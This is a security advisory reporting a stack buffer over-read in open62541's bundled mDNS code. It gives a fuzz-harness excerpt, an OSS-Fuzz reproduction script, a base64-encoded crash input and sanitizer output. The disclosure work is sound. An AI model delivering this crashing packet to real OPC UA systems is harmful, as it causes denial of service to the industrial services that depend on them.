Stack Buffer Over-Read in mDNS Packet Processing
Repository: open62541/open62541
Affected commit: 63ca5aa807a2089395e471b71bcb4c6c7d3a82cd
Sink: mdnsd_in() in generated src_generated/mdnsd/mdnsd.c
Sanitizer verdict: stack-buffer-overflow (8-byte read)
Summary
A malformed mDNS message can make open62541's bundled mdnsd packet-processing path read eight bytes beyond the stack-allocated struct message passed to mdnsd_in(). The input is only 37 bytes and reaches the fault after message_parse() accepts it. AddressSanitizer aborts the process in mdnsd_in(), so an adjacent-network attacker able to deliver mDNS traffic to an OPC UA application with discovery enabled can cause denial of service.
Only availability impact is claimed. The sanitizer proves an out-of-bounds stack read and process termination; this report does not claim data disclosure or code execution.
Detail
The production discovery driver parses an incoming datagram into struct message and passes it to mdnsd_in(). The OSS-Fuzz harness exercises the same sequence:
struct message m;
memset(&m, 0, sizeof(struct message));
int parseResult = message_parse(&m, message_buf);
if (!parseResult)
return 0;
mdnsd_in(d, &m, &from);
The crafted message produces inconsistent record-count/index state that survives message_parse(). While mdnsd_in() walks those records, it performs an 8-byte read at offset 69736 in the harness frame. AddressSanitizer identifies m as the immediately preceding stack object, occupying offsets [32, 69728), so the read begins eight bytes past the end of m.
The crash is in the bundled mdnsd code used by open62541's mDNS discovery implementation, not in fuzzer-only allocation code. Several OSV Fuzz artifacts reached related _namehash and cache paths, but they are not split into separate reports because this input gives the clearest, current sanitizer evidence for the same parser/record-processing boundary.
Reproduce
The script uses the official OSS-Fuzz recipe. It limits build containers to 6 GiB and two CPUs and reduces the open62541 build to two jobs. Run it on a credential-free Docker host. The build performs network access; testcase execution is local.
set -eu
work="$(mktemp -d)"
trap 'rm -rf "$work"' EXIT
git clone --depth 1 https://github.com/google/oss-fuzz.git "$work/oss-fuzz"
cd "$work/oss-fuzz"
python3 - <<'PY'
from pathlib import Path
helper = Path("infra/helper.py")
text = helper.read_text()
needle = "'docker', 'run', '--privileged', '--shm-size=2g'"
replacement = "'docker', 'run', '--privileged', '--memory=6g', '--cpus=2', '--shm-size=2g'"
if needle not in text:
raise SystemExit("OSS-Fuzz helper layout changed; apply equivalent Docker limits manually")
helper.write_text(text.replace(needle, replacement))
build = Path("projects/open62541/build.sh")
text = build.read_text().replace('make -j"$(nproc)"', "make -j2")
build.write_text(text)
PY
printf '%s' 'H4sICEIseGoCAzNlNGQ0N2RjYzVlNV9pbnB1dC5iaW4AU2B4ysAowPyfgY0BBPg+hyLA////67WAgv8Bcoh81yUAAAA=' \
| base64 -d | gzip -dc > "$work/testcase.bin"
python3 infra/helper.py build_fuzzers open62541 \
--sanitizer address --engine libfuzzer --clean
docker run --rm --memory=512m --cpus=1 gcr.io/oss-fuzz/open62541 \
git -C /src/open62541 rev-parse HEAD
python3 infra/helper.py reproduce open62541 fuzz_mdns_message "$work/testcase.bin"
Observed on 63ca5aa807a2089395e471b71bcb4c6c7d3a82cd:
ERROR: AddressSanitizer: stack-buffer-overflow
READ of size 8
#0 mdnsd_in /work/open62541/src_generated/mdnsd/mdnsd.c:1252:17
#1 LLVMFuzzerTestOneInput /src/open62541/tests/fuzz/fuzz_mdns_message.cc:43:5
Address 0x... is located in stack of thread T0 at offset 69736 in frame
#0 LLVMFuzzerTestOneInput /src/open62541/tests/fuzz/fuzz_mdns_message.cc
This frame has 3 object(s):
[32, 69728) 'm' (line 32) <== Memory access at offset 69736 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow in mdnsd_in
Credit
Zheng Yu @ DepthFirst